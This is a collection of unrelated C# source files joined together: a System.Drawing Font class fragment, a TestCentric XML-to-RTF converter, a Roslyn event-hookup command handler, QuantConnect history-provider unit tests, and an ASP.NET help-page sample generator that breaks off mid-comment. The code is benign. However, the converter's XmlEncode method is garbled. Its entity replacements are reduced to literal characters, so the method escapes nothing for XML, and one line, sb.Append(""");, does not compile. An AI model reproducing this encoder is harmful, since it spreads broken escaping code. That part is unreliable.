public bool IsSystemFont => !string.IsNullOrEmpty(_systemFontName);
/// <summary>
/// Gets the height of this <see cref='Font'/>.
/// </summary>
[Browsable(false)]
public int Height => (int)Math.Ceiling(GetHeight());
/// <summary>
/// Get native GDI+ object pointer. This property triggers the creation of the GDI+ native object if not initialized yet.
/// </summary>
internal IntPtr NativeFont => _nativeFont;
/// <summary>
/// Cleans up Windows resources for this <see cref='Font'/>.
/// </summary>
~Font() => Dispose(false);
private Font(SerializationInfo info, StreamingContext context)
{
string name = info.GetString("Name"); // Do not rename (binary serialization)
FontStyle style = (FontStyle)info.GetValue("Style", typeof(FontStyle)); // Do not rename (binary serialization)
GraphicsUnit unit = (GraphicsUnit)info.GetValue("Unit", typeof(GraphicsUnit)); // Do not rename (binary serialization)
float size = info.GetSingle("Size"); // Do not rename (binary serialization)
Initialize(name, size, style, unit, SafeNativeMethods.DEFAULT_CHARSET, IsVerticalName(name));
}
void ISerializable.GetObjectData(SerializationInfo si, StreamingContext context)
{
string name = string.IsNullOrEmpty(OriginalFontName) ? Name : OriginalFontName;
si.AddValue("Name", name); // Do not rename (binary serialization)
si.AddValue("Size", Size); // Do not rename (binary serialization)
si.AddValue("Style", Style); // Do not rename (binary serialization)
si.AddValue("Unit", Unit); // Do not rename (binary serialization)
}
private static bool IsVerticalName(string familyName) => familyName?.Length > 0 && familyName[0] == '@';
/// <summary>
/// Cleans up Windows resources for this <see cref='Font'/>.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
private void Dispose(bool disposing)
{
if (_nativeFont != IntPtr.Zero)
{
try
{
#if DEBUG
int status =
#endif
Gdip.GdipDeleteFont(new HandleRef(this, _nativeFont));
#if DEBUG
Debug.Assert(status == Gdip.Ok, "GDI+ returned an error status: " + status.ToString(CultureInfo.InvariantCulture));
#endif
}
catch (Exception ex) when (!ClientUtils.IsCriticalException(ex))
{
}
finally
{
_nativeFont = IntPtr.Zero;
}
}
}
/// <summary>
/// Returns the height of this Font in the specified graphics context.
/// </summary>
public float GetHeight(Graphics graphics)
{
if (graphics == null)
{
throw new ArgumentNullException(nameof(graphics));
}
float height;
int status = Gdip.GdipGetFontHeight(new HandleRef(this, NativeFont), new HandleRef(graphics, graphics.NativeGraphics), out height);
Gdip.CheckStatus(status);
return height;
}
public float GetHeight(float dpi)
{
float size;
int status = Gdip.GdipGetFontHeightGivenDPI(new HandleRef(this, NativeFont), dpi, out size);
Gdip.CheckStatus(status);
return size;
}
/// <summary>
/// Returns a value indicating whether the specified object is a <see cref='Font'/> equivalent to this
/// <see cref='Font'/>.
/// </summary>
public override bool Equals(object obj)
{
if (obj == this)
{
return true;
}
if (!(obj is Font font))
{
return false;
}
// Note: If this and/or the passed-in font are disposed, this method can still return true since we check for cached properties
// here.
// We need to call properties on the passed-in object since it could be a proxy in a remoting scenario and proxies don't
// have access to private/internal fields.
return font.FontFamily.Equals(FontFamily) &&
font.GdiVerticalFont == GdiVerticalFont &&
font.GdiCharSet == GdiCharSet &&
font.Style == Style &&
font.Size == Size &&
font.Unit == Unit;
}
/// <summary>
/// Gets the hash code for this <see cref='Font'/>.
/// </summary>
public override int GetHashCode()
{
return unchecked((int)((((uint)_fontStyle << 13) | ((uint)_fontStyle >> 19)) ^
(((uint)_fontUnit << 26) | ((uint)_fontUnit >> 6)) ^
(((uint)_fontSize << 7) | ((uint)_fontSize >> 25))));
}
/// <summary>
/// Returns a human-readable string representation of this <see cref='Font'/>.
/// </summary>
public override string ToString()
{
return string.Format(CultureInfo.CurrentCulture, "[{0}: Name={1}, Size={2}, Units={3}, GdiCharSet={4}, GdiVerticalFont={5}]",
GetType().Name,
FontFamily.Name,
_fontSize,
(int)_fontUnit,
_gdiCharSet,
_gdiVerticalFont);
}
// This is used by SystemFonts when constructing a system Font objects.
internal void SetSystemFontName(string systemFontName) => _systemFontName = systemFontName;
}
}
| |
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
using System.Xml;
namespace TestCentric.Gui
{
public class Xml2RtfConverter
{
public enum ColorKinds
{
Element = 1,
Value,
Attribute,
String,
Tag,
Comment,
CData
}
private Dictionary<ColorKinds, Color> _colorTable = new Dictionary<ColorKinds, Color>();
private readonly int indentationSize;
public Xml2RtfConverter(int indentationSize, Dictionary<ColorKinds, Color> colorTable = null)
{
this.indentationSize = indentationSize;
if (colorTable != null)
_colorTable = colorTable;
else
{
_colorTable.Add(ColorKinds.Element, Color.Purple);
_colorTable.Add(ColorKinds.Value, Color.Black);
_colorTable.Add(ColorKinds.Attribute, Color.DarkGoldenrod);
_colorTable.Add(ColorKinds.String, Color.DarkBlue);
_colorTable.Add(ColorKinds.Tag, Color.Purple);
_colorTable.Add(ColorKinds.Comment, Color.Gray);
_colorTable.Add(ColorKinds.CData, Color.DarkBlue);
}
}
public string Convert(XmlNode node)
{
var sb = new StringBuilder();
CreateHeader(sb);
AddXmlNode(sb, node, 0);
return sb.ToString();
}
private void AddXmlNode(StringBuilder sb, XmlNode node, int indentationLevel)
{
var element = node as XmlElement;
if (element != null)
{
AddXmlElement(sb, element, indentationLevel);
return;
}
var xmlText = node as XmlText;
if (xmlText != null)
{
AddXmlText(sb, indentationLevel, xmlText);
return;
}
var xmlComment = node as XmlComment;
if (xmlComment != null)
{
AddXmlComment(sb, indentationLevel, xmlComment);
return;
}
var cdata = node as XmlCDataSection;
if (cdata != null)
{
AddXmlCDataSection(sb, cdata);
return;
}
}
private static void AddXmlCDataSection(StringBuilder sb, XmlCDataSection cdata)
{
sb.Append(string.Format(@"\cf{0}<![CDATA[\par ", (int)ColorKinds.CData));
var cdataLines = cdata.Value.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
var res = new List<string>(cdataLines.Length);
foreach (var cdataLine in cdataLines)
{
res.Add(XmlEncode(cdataLine));
}
sb.Append(string.Join(@"\par", res.ToArray()));
sb.Append(@"\par]]>\par");
}
private void AddXmlComment(StringBuilder sb, int indentationLevel, XmlComment xmlComment)
{
Indent(sb, indentationLevel);
sb.Append(string.Format(@"\cf{0}<!--{1}-->\par", (int)ColorKinds.Comment, XmlEncode(xmlComment.Value)));
}
private void AddXmlText(StringBuilder sb, int indentationLevel, XmlText xmlText)
{
Indent(sb, indentationLevel);
sb.Append(string.Format(@"\cf{0}{1}\par", (int)ColorKinds.Value, XmlEncode(xmlText.Value)));
}
private void AddXmlElement(StringBuilder sb, XmlElement element, int indentationLevel)
{
Indent(sb, indentationLevel);
if (AddStartElement(sb, element)) return;
AddElementContent(sb, element, indentationLevel);
AddEndElement(sb, element);
}
private bool AddStartElement(StringBuilder sb, XmlElement element)
{
sb.Append(string.Format(@"\cf{0}<\cf{1}{2}", (int)ColorKinds.Tag, (int)ColorKinds.Element, element.Name));
AddXmlAttributes(sb, element);
//If Element has no content we can end the element now.
if (!element.HasChildNodes)
{
sb.Append(string.Format(@" \cf{0}/>\par", (int)ColorKinds.Tag));
return true;
}
//otherwise just end the start fo the element.
sb.Append(string.Format(@"\cf{0}>", (int)ColorKinds.Tag));
return false;
}
private static void AddXmlAttributes(StringBuilder sb, XmlElement element)
{
if (element.HasAttributes)
{
foreach (XmlAttribute attribute in element.Attributes)
{
sb.Append(string.Format(@" \cf{0}{1}=\cf{2}'{3}'", (int)ColorKinds.Attribute, attribute.Name, (int)ColorKinds.String, XmlEncode(attribute.Value)));
}
}
}
private void AddElementContent(StringBuilder sb, XmlElement element, int indentationLevel)
{
if (HasSingleTextNode(element))
{
sb.Append(string.Format(@"\cf{0}{1}", (int)ColorKinds.Value, XmlEncode(element.FirstChild.Value)));
}
else if (element.HasChildNodes)
{
sb.Append(@"\par");
foreach (XmlNode childNode in element.ChildNodes)
{
AddXmlNode(sb, childNode, indentationLevel + 1);
}
Indent(sb, indentationLevel);
}
}
private static void AddEndElement(StringBuilder sb, XmlElement element)
{
sb.Append(string.Format(@"\cf{0}</\cf{1}{2}\cf{0}>\par", (int)ColorKinds.Tag, (int)ColorKinds.Element, element.Name));
}
private void Indent(StringBuilder sb, int indentationLevel)
{
sb.Append(new string(' ', indentationSize * indentationLevel));
}
private bool HasSingleTextNode(XmlElement element)
{
return (element.ChildNodes.Count == 1) && (element.FirstChild is XmlText);
}
private static string XmlEncode(string value)
{
var sb = new StringBuilder();
foreach (char c in value)
{
switch (c)
{
//xml
case '\'':
sb.Append(@"'");
break;
case '"':
sb.Append(""");
break;
case '&':
sb.Append(@"&");
break;
case '<':
sb.Append(@"<");
break;
case '>':
sb.Append(@">");
break;
//these are for rtf-support
case '\\':
sb.Append(@"\\");
break;
case '{':
sb.Append(@"\{");
break;
case '}':
sb.Append(@"\}");
break;
default:
sb.Append(c);
break;
}
}
return sb.ToString();
}
private void CreateHeader(StringBuilder sb)
{
sb.AppendLine(@"{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fnil\fcharset0 Courier New;}}");
sb.Append(@"{{\colortbl ;");
foreach (ColorKinds colorKind in Enum.GetValues(typeof(ColorKinds)))
{
Color color;
if (_colorTable.TryGetValue(colorKind, out color))
sb.Append(string.Format(@"\red{0}\green{1}\blue{2};", color.R, color.G, color.B));
else
sb.Append(string.Format(@"\red{0}\green{1}\blue{2};", 0, 0, 0));
}
sb.AppendLine("}}");
sb.AppendLine(@"\viewkind4\uc1\pard\f0\fs20");
}
}
}
| |
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.CodeAnalysis.CodeGeneration;
using Microsoft.CodeAnalysis.CSharp.Extensions;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Editing;
using Microsoft.CodeAnalysis.Editor.Commands;
using Microsoft.CodeAnalysis.Editor.Shared.Extensions;
using Microsoft.CodeAnalysis.Editor.Shared.Options;
using Microsoft.CodeAnalysis.Formatting;
using Microsoft.CodeAnalysis.Internal.Log;
using Microsoft.CodeAnalysis.LanguageServices;
using Microsoft.CodeAnalysis.Shared.Extensions;
using Microsoft.CodeAnalysis.Simplification;
using Microsoft.CodeAnalysis.Text;
using Microsoft.CodeAnalysis.Text.Shared.Extensions;
using Microsoft.VisualStudio.Text;
using Microsoft.VisualStudio.Text.Editor;
using Roslyn.Utilities;
namespace Microsoft.CodeAnalysis.Editor.CSharp.EventHookup
{
internal partial class EventHookupCommandHandler : ICommandHandler<TabKeyCommandArgs>
{
public void ExecuteCommand(TabKeyCommandArgs args, Action nextHandler)
{
AssertIsForeground();
if (!args.SubjectBuffer.GetFeatureOnOffOption(InternalFeatureOnOffOptions.EventHookup))
{
nextHandler();
return;
}
if (EventHookupSessionManager.CurrentSession == null)
{
nextHandler();
return;
}
// Handling tab is currently uncancellable.
HandleTabWorker(args.TextView, args.SubjectBuffer, nextHandler, CancellationToken.None);
}
public CommandState GetCommandState(TabKeyCommandArgs args, Func<CommandState> nextHandler)
{
AssertIsForeground();
if (EventHookupSessionManager.CurrentSession != null)
{
return CommandState.Available;
}
else
{
return nextHandler();
}
}
private void HandleTabWorker(ITextView textView, ITextBuffer subjectBuffer, Action nextHandler, CancellationToken cancellationToken)
{
AssertIsForeground();
// For test purposes only!
if (EventHookupSessionManager.CurrentSession.TESTSessionHookupMutex != null)
{
try
{
EventHookupSessionManager.CurrentSession.TESTSessionHookupMutex.ReleaseMutex();
}
catch (ApplicationException)
{
}
}
// Blocking wait (if necessary) to determine whether to consume the tab and
// generate the event handler.
EventHookupSessionManager.CurrentSession.GetEventNameTask.Wait(cancellationToken);
string eventHandlerMethodName = null;
if (EventHookupSessionManager.CurrentSession.GetEventNameTask.Status == TaskStatus.RanToCompletion)
{
eventHandlerMethodName = EventHookupSessionManager.CurrentSession.GetEventNameTask.WaitAndGetResult(cancellationToken);
}
if (eventHandlerMethodName == null ||
EventHookupSessionManager.CurrentSession.TextView != textView)
{
nextHandler();
EventHookupSessionManager.CancelAndDismissExistingSessions();
return;
}
// If QuickInfoSession is null, then Tab was pressed before the background task
// finished (that is, the Wait call above actually needed to wait). Since we know an
// event hookup was found, we should set everything up now because the background task
// will not have a chance to set things up until after this Tab has been handled, and
// by then it's too late. When the background task alerts that it found an event hookup
// nothing will change because QuickInfoSession will already be set.
EventHookupSessionManager.EventHookupFoundInSession(EventHookupSessionManager.CurrentSession);
// This tab means we should generate the event handler method. Begin the code
// generation process.
GenerateAndAddEventHandler(textView, subjectBuffer, eventHandlerMethodName, nextHandler, cancellationToken);
}
private void GenerateAndAddEventHandler(ITextView textView, ITextBuffer subjectBuffer, string eventHandlerMethodName, Action nextHandler, CancellationToken cancellationToken)
{
AssertIsForeground();
using (Logger.LogBlock(FunctionId.EventHookup_Generate_Handler, cancellationToken))
{
EventHookupSessionManager.CancelAndDismissExistingSessions();
var workspace = textView.TextSnapshot.TextBuffer.GetWorkspace();
if (workspace == null)
{
nextHandler();
EventHookupSessionManager.CancelAndDismissExistingSessions();
return;
}
Document document = textView.TextSnapshot.GetOpenDocumentInCurrentContextWithChanges();
if (document == null)
{
Contract.Fail("Event Hookup could not find the document for the IBufferView.");
}
var position = textView.GetCaretPoint(subjectBuffer).Value.Position;
var solutionWithEventHandler = CreateSolutionWithEventHandler(
document,
eventHandlerMethodName,
position,
out var plusEqualTokenEndPosition,
cancellationToken);
if (solutionWithEventHandler == null)
{
Contract.Fail("Event Hookup could not create solution with event handler.");
}
// The new solution is created, so start user observable changes
if (!workspace.TryApplyChanges(solutionWithEventHandler))
{
Contract.Fail("Event Hookup could not update the solution.");
}
// The += token will not move during this process, so it is safe to use that
// position as a location from which to find the identifier we're renaming.
BeginInlineRename(workspace, textView, subjectBuffer, plusEqualTokenEndPosition, cancellationToken);
}
}
private Solution CreateSolutionWithEventHandler(
Document document,
string eventHandlerMethodName,
int position,
out int plusEqualTokenEndPosition,
CancellationToken cancellationToken)
{
AssertIsForeground();
// Mark the += token with an annotation so we can find it after formatting
var plusEqualsTokenAnnotation = new SyntaxAnnotation();
var documentWithNameAndAnnotationsAdded = AddMethodNameAndAnnotationsToSolution(document, eventHandlerMethodName, position, plusEqualsTokenAnnotation, cancellationToken);
var semanticDocument = SemanticDocument.CreateAsync(documentWithNameAndAnnotationsAdded, cancellationToken).WaitAndGetResult(cancellationToken);
var updatedRoot = AddGeneratedHandlerMethodToSolution(semanticDocument, eventHandlerMethodName, plusEqualsTokenAnnotation, cancellationToken);
if (updatedRoot == null)
{
plusEqualTokenEndPosition = 0;
return null;
}
var simplifiedDocument = Simplifier.ReduceAsync(documentWithNameAndAnnotationsAdded.WithSyntaxRoot(updatedRoot), Simplifier.Annotation, cancellationToken: cancellationToken).WaitAndGetResult(cancellationToken);
var formattedDocument = Formatter.FormatAsync(simplifiedDocument, Formatter.Annotation, cancellationToken: cancellationToken).WaitAndGetResult(cancellationToken);
var newRoot = formattedDocument.GetSyntaxRootSynchronously(cancellationToken);
plusEqualTokenEndPosition = newRoot.GetAnnotatedNodesAndTokens(plusEqualsTokenAnnotation)
.Single().Span.End;
return document.Project.Solution.WithDocumentText(
formattedDocument.Id, formattedDocument.GetTextAsync(cancellationToken).WaitAndGetResult(cancellationToken));
}
private Document AddMethodNameAndAnnotationsToSolution(
Document document,
string eventHandlerMethodName,
int position,
SyntaxAnnotation plusEqualsTokenAnnotation,
CancellationToken cancellationToken)
{
// First find the event hookup to determine if we are in a static context.
var root = document.GetSyntaxRootSynchronously(cancellationToken);
var plusEqualsToken = root.FindTokenOnLeftOfPosition(position);
var eventHookupExpression = plusEqualsToken.GetAncestor<AssignmentExpressionSyntax>();
var textToInsert = eventHandlerMethodName + ";";
if (!eventHookupExpression.IsInStaticContext())
{
// This will be simplified later if it's not needed.
textToInsert = "this." + textToInsert;
}
// Next, perform a textual insertion of the event handler method name.
var textChange = new TextChange(new TextSpan(position, 0), textToInsert);
var newText = document.GetTextAsync(cancellationToken).WaitAndGetResult(cancellationToken).WithChanges(textChange);
var documentWithNameAdded = document.WithText(newText);
// Now find the event hookup again to add the appropriate annotations.
root = documentWithNameAdded.GetSyntaxRootSynchronously(cancellationToken);
plusEqualsToken = root.FindTokenOnLeftOfPosition(position);
eventHookupExpression = plusEqualsToken.GetAncestor<AssignmentExpressionSyntax>();
var updatedEventHookupExpression = eventHookupExpression
.ReplaceToken(plusEqualsToken, plusEqualsToken.WithAdditionalAnnotations(plusEqualsTokenAnnotation))
.WithRight(eventHookupExpression.Right.WithAdditionalAnnotations(Simplifier.Annotation))
.WithAdditionalAnnotations(Formatter.Annotation);
var rootWithUpdatedEventHookupExpression = root.ReplaceNode(eventHookupExpression, updatedEventHookupExpression);
return documentWithNameAdded.WithSyntaxRoot(rootWithUpdatedEventHookupExpression);
}
private SyntaxNode AddGeneratedHandlerMethodToSolution(
SemanticDocument document,
string eventHandlerMethodName,
SyntaxAnnotation plusEqualsTokenAnnotation,
CancellationToken cancellationToken)
{
var root = document.Root as SyntaxNode;
var eventHookupExpression = root.GetAnnotatedNodesAndTokens(plusEqualsTokenAnnotation).Single().AsToken().GetAncestor<AssignmentExpressionSyntax>();
var generatedMethodSymbol = GetMethodSymbol(document, eventHandlerMethodName, eventHookupExpression, cancellationToken);
if (generatedMethodSymbol == null)
{
return null;
}
var typeDecl = eventHookupExpression.GetAncestor<TypeDeclarationSyntax>();
var typeDeclWithMethodAdded = CodeGenerator.AddMethodDeclaration(typeDecl, generatedMethodSymbol, document.Project.Solution.Workspace, new CodeGenerationOptions(afterThisLocation: eventHookupExpression.GetLocation()));
return root.ReplaceNode(typeDecl, typeDeclWithMethodAdded);
}
private IMethodSymbol GetMethodSymbol(
SemanticDocument document,
string eventHandlerMethodName,
AssignmentExpressionSyntax eventHookupExpression,
CancellationToken cancellationToken)
{
var semanticModel = document.SemanticModel as SemanticModel;
var symbolInfo = semanticModel.GetSymbolInfo(eventHookupExpression.Left, cancellationToken);
var symbol = symbolInfo.Symbol;
if (symbol == null || symbol.Kind != SymbolKind.Event)
{
return null;
}
var typeInference = document.Project.LanguageServices.GetService<ITypeInferenceService>();
var delegateType = typeInference.InferDelegateType(semanticModel, eventHookupExpression.Right, cancellationToken);
if (delegateType == null || delegateType.DelegateInvokeMethod == null)
{
return null;
}
var syntaxFactory = document.Project.LanguageServices.GetService<SyntaxGenerator>();
return CodeGenerationSymbolFactory.CreateMethodSymbol(
attributes: default(ImmutableArray<AttributeData>),
accessibility: Accessibility.Private,
modifiers: new DeclarationModifiers(isStatic: eventHookupExpression.IsInStaticContext()),
returnType: delegateType.DelegateInvokeMethod.ReturnType,
returnsByRef: delegateType.DelegateInvokeMethod.ReturnsByRef,
explicitInterfaceImplementations: default,
name: eventHandlerMethodName,
typeParameters: default(ImmutableArray<ITypeParameterSymbol>),
parameters: delegateType.DelegateInvokeMethod.Parameters,
statements: ImmutableArray.Create(
CodeGenerationHelpers.GenerateThrowStatement(syntaxFactory, document, "System.NotImplementedException", cancellationToken)));
}
private void BeginInlineRename(Workspace workspace, ITextView textView, ITextBuffer subjectBuffer, int plusEqualTokenEndPosition, CancellationToken cancellationToken)
{
AssertIsForeground();
if (_inlineRenameService.ActiveSession == null)
{
var document = textView.TextSnapshot.GetOpenDocumentInCurrentContextWithChanges();
if (document != null)
{
// In the middle of a user action, cannot cancel.
var root = document.GetSyntaxRootSynchronously(cancellationToken);
var token = root.FindTokenOnRightOfPosition(plusEqualTokenEndPosition);
var editSpan = token.Span;
var memberAccessExpression = token.GetAncestor<MemberAccessExpressionSyntax>();
if (memberAccessExpression != null)
{
// the event hookup might look like `MyEvent += this.GeneratedHandlerName;`
editSpan = memberAccessExpression.Name.Span;
}
_inlineRenameService.StartInlineSession(document, editSpan, cancellationToken);
textView.SetSelection(editSpan.ToSnapshotSpan(textView.TextSnapshot));
}
}
}
}
}
| |
/*
* QUANTCONNECT.COM - Democratizing Finance, Empowering Individuals.
* Lean Algorithmic Trading Engine v2.0. Copyright 2014 QuantConnect Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
using NUnit.Framework;
using QuantConnect.Data;
using QuantConnect.Data.Market;
using QuantConnect.Interfaces;
using QuantConnect.Lean.Engine.DataFeeds;
using QuantConnect.Lean.Engine.HistoricalData;
using QuantConnect.Packets;
using QuantConnect.Securities;
using QuantConnect.Util;
using System;
using System.Linq;
using QuantConnect.Brokerages.Paper;
using HistoryRequest = QuantConnect.Data.HistoryRequest;
namespace QuantConnect.Tests.Engine.HistoricalData
{
[TestFixture]
public class HistoryProviderManagerTests
{
private readonly ZipDataCacheProvider _zipCache = new(TestGlobals.DataProvider);
private HistoryProviderManager _historyProviderWrapper;
[SetUp]
public void Setup()
{
_historyProviderWrapper = new();
var historyProviders = Newtonsoft.Json.JsonConvert.SerializeObject(new[] { "SubscriptionDataReaderHistoryProvider", "FakeHistoryProvider" });
var jobWithArrayHistoryProviders = new LiveNodePacket
{
HistoryProvider = historyProviders
};
_historyProviderWrapper.SetBrokerage(new PaperBrokerage(null, null));
_historyProviderWrapper.Initialize(new HistoryProviderInitializeParameters(
jobWithArrayHistoryProviders,
null,
TestGlobals.DataProvider,
_zipCache,
TestGlobals.MapFileProvider,
TestGlobals.FactorFileProvider,
null,
false,
new DataPermissionManager()));
}
[TearDown]
public void TearDown()
{
_zipCache.DisposeSafely();
Composer.Instance.Reset();
}
[Test]
public void DataPointCount()
{
var symbol = Symbol.Create("WM", SecurityType.Equity, Market.USA);
var result = _historyProviderWrapper.GetHistory(
new[]
{
new HistoryRequest(new DateTime(2008, 01,01),
new DateTime(2008, 01,05),
typeof(TradeBar),
symbol,
Resolution.Daily,
SecurityExchangeHours.AlwaysOpen(TimeZones.NewYork),
TimeZones.NewYork,
null,
false,
false,
DataNormalizationMode.Raw,
TickType.Trade)
},
TimeZones.NewYork).ToList();
Assert.AreEqual(5, _historyProviderWrapper.DataPointCount);
}
[Test]
public void TestEvents()
{
bool invalidConfigurationDetected = new();
bool numericalPrecisionLimited = new();
bool startDateLimited = new();
bool downloadFailed = new();
bool readerErrorDetected = new();
_historyProviderWrapper.InvalidConfigurationDetected += (sender, args) => { invalidConfigurationDetected = true; };
_historyProviderWrapper.NumericalPrecisionLimited += (sender, args) => { numericalPrecisionLimited = true; };
_historyProviderWrapper.StartDateLimited += (sender, args) => { startDateLimited = true; };
_historyProviderWrapper.DownloadFailed += (sender, args) => { downloadFailed = true; };
_historyProviderWrapper.ReaderErrorDetected += (sender, args) => { readerErrorDetected = true; };
var historyProvider = Composer.Instance.GetExportedValueByTypeName<IHistoryProvider>("FakeHistoryProvider");
(historyProvider as FakeHistoryProvider).TriggerEvents();
Assert.IsTrue(invalidConfigurationDetected);
Assert.IsTrue(numericalPrecisionLimited);
Assert.IsTrue(startDateLimited);
Assert.IsTrue(downloadFailed);
Assert.IsTrue(readerErrorDetected);
}
[Test]
public void OptionsAreMappedCorrectly()
{
var symbol = Symbol.CreateOption(
"FOXA",
Market.USA,
OptionStyle.American,
OptionRight.Call,
32,
new DateTime(2013, 07, 20));
var result = _historyProviderWrapper.GetHistory(
new[]
{
new HistoryRequest(new DateTime(2013, 06,28),
new DateTime(2013, 07,03),
typeof(QuoteBar),
symbol,
Resolution.Minute,
SecurityExchangeHours.AlwaysOpen(TimeZones.NewYork),
TimeZones.NewYork,
null,
false,
false,
DataNormalizationMode.Raw,
TickType.Quote)
},
TimeZones.NewYork).ToList();
Assert.IsNotEmpty(result);
// assert we fetch the data for the previous and new symbol
var firstBar = result[1].Values.Single();
var lastBar = result.Last().Values.Single();
Assert.IsTrue(firstBar.Symbol.Value.Contains("NWSA"));
Assert.AreEqual(28, firstBar.Time.Date.Day);
Assert.IsTrue(lastBar.Symbol.Value.Contains("FOXA"));
Assert.AreEqual(2, lastBar.Time.Date.Day);
Assert.AreEqual(425, result.Count);
Assert.AreEqual(426, _historyProviderWrapper.DataPointCount);
}
[Test]
public void EquitiesMergedCorrectly()
{
var symbol = Symbol.Create("WM", SecurityType.Equity, Market.USA);
var result = _historyProviderWrapper.GetHistory(
new[]
{
new HistoryRequest(new DateTime(2008, 01,01),
new DateTime(2008, 01,05),
typeof(TradeBar),
symbol,
Resolution.Daily,
SecurityExchangeHours.AlwaysOpen(TimeZones.NewYork),
TimeZones.NewYork,
null,
false,
false,
DataNormalizationMode.Raw,
TickType.Trade)
},
TimeZones.NewYork).ToList();
Assert.IsNotEmpty(result);
var firstBar = result.First().Values.Single();
Assert.AreEqual("WMI", firstBar.Symbol.Value);
Assert.AreEqual(4, result.Count);
Assert.AreEqual(5, _historyProviderWrapper.DataPointCount);
}
[Test]
public void DataIncreasesInTime()
{
var symbol = Symbol.Create("WM", SecurityType.Equity, Market.USA);
var result = _historyProviderWrapper.GetHistory(
new[]
{
new HistoryRequest(new DateTime(2008, 01,01),
new DateTime(2008, 01,05),
typeof(TradeBar),
symbol,
Resolution.Daily,
SecurityExchangeHours.AlwaysOpen(TimeZones.NewYork),
TimeZones.NewYork,
null,
false,
false,
DataNormalizationMode.Raw,
TickType.Trade)
},
TimeZones.NewYork).ToList();
var initialTime = DateTime.MinValue;
foreach (var slice in result)
{
Assert.That(slice.UtcTime, Is.GreaterThan(initialTime));
initialTime = slice.UtcTime;
}
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Web.Http.Description;
using System.Xml.Linq;
using Newtonsoft.Json;
namespace api1.Areas.HelpPage
{
/// <summary>
/// This class will generate the samples for the help page.
/// </summary>
public class HelpPageSampleGenerator
{
/// <summary>
/// Initializes a new instance of the <see cref="HelpPageSampleGenerator"/> class.
/// </summary>
public HelpPageSampleGenerator()
{
ActualHttpMessageTypes = new Dictionary<HelpPageSampleKey, Type>();
ActionSamples = new Dictionary<HelpPageSampleKey, object>();
SampleObjects = new Dictionary<Type, object>();
}
/// <summary>
/// Gets CLR types that are used as the content of <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/>.
/// </summary>
public IDictionary<HelpPageSampleKey, Type> ActualHttpMessageTypes { get; internal set; }
/// <summary>
/// Gets the objects that are used directly as samples for certain actions.
/// </summary>
public IDictionary<HelpPageSampleKey, object> ActionSamples { get; internal set; }
/// <summary>
/// Gets the objects that are serialized as samples by the supported formatters.
/// </summary>
public IDictionary<Type, object> SampleObjects { get; internal set; }
/// <summary>
/// Gets the request body samples for a given <see cref="ApiDescription"/>.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <returns>The samples keyed by media type.</returns>
public IDictionary<MediaTypeHeaderValue, object> GetSampleRequests(ApiDescription api)
{
return GetSample(api, SampleDirection.Request);
}
/// <summary>
/// Gets the response body samples for a given <see cref="ApiDescription"/>.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <returns>The samples keyed by media type.</returns>
public IDictionary<MediaTypeHeaderValue, object> GetSampleResponses(ApiDescription api)
{
return GetSample(api, SampleDirection.Response);
}
/// <summary>
/// Gets the request or response body samples.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param>
/// <returns>The samples keyed by media type.</returns>
public virtual IDictionary<MediaTypeHeaderValue, object> GetSample(ApiDescription api, SampleDirection sampleDirection)
{
if (api == null)
{
throw new ArgumentNullException("api");
}
string controllerName = api.ActionDescriptor.ControllerDescriptor.ControllerName;
string actionName = api.ActionDescriptor.ActionName;
IEnumerable<string> parameterNames = api.ParameterDescriptions.Select(p => p.Name);
Collection<MediaTypeFormatter> formatters;
Type type = ResolveType(api, controllerName, actionName, parameterNames, sampleDirection, out formatters);
var samples = new Dictionary<MediaTypeHeaderValue, object>();
// Use the samples provided directly for actions
var actionSamples = GetAllActionSamples(controllerName, actionName, parameterNames, sampleDirection);
foreach (var actionSample in actionSamples)
{
samples.Add(actionSample.Key.MediaType, WrapSampleIfString(actionSample.Value));
}
// Do the sample generation based on formatters only if an action doesn't return an HttpResponseMessage.
// Here we cannot rely on formatters because we don't know what's in the HttpResponseMessage, it might not even use formatters.
if (type != null && !typeof(HttpResponseMessage).IsAssignableFrom(type))
{
object sampleObject = GetSampleObject(type);
foreach (var formatter in formatters)
{
foreach (MediaTypeHeaderValue mediaType in formatter.SupportedMediaTypes)
{
if (!samples.ContainsKey(mediaType))
{
object sample = GetActionSample(controllerName, actionName, parameterNames, type, formatter, mediaType, sampleDirection);
// If no sample found, try generate sample using formatter and sample object
if (sample == null && sampleObject != null)
{
sample = WriteSampleObjectUsingFormatter(formatter, sampleObject, type, mediaType);
}
samples.Add(mediaType, WrapSampleIfString(sample));
}
}
}
}
return samples;
}
/// <summary>
/// Search for samples that are provided directly through <see cref="ActionSamples"/>.
/// </summary>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
/// <param name="type">The CLR type.</param>
/// <param name="formatter">The formatter.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param>
/// <returns>The sample that matches the parameters.</returns>
